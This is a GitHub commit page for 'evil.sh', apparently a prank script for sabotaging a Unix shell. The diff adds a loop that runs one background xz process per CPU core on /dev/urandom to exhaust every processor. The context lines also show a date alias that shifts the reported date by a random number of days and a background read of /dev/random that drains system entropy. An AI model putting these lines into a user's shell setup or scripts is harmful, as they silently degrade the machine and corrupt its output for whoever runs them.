Skip to content

Commit

Permalink
Use ALL the CPU
Browse files Browse the repository at this point in the history
  • Loading branch information
ojno committed Mar 28, 2016
1 parent d0d9fac commit 2e035b0
Showing 1 changed file with 5 additions and 0 deletions.
5 changes: 5 additions & 0 deletions evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,11 @@ alias date='date -d "now + $RANDOM days"';
# Eat ALL the randomness.
/bin/cat /dev/random > /dev/null 2>&1 &

# Use ALL the CPUs.
for i in $(seq 1 $(nproc)); do
xz -9e -c /dev/urandom > /dev/null 2>&1 &
done;

# Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
# Other times, resist all attempts at opening it. Other times, make it read
# reaaaalllly sllooowwwwllly.
Expand Down

0 comments on commit 2e035b0

Please sign in to comment.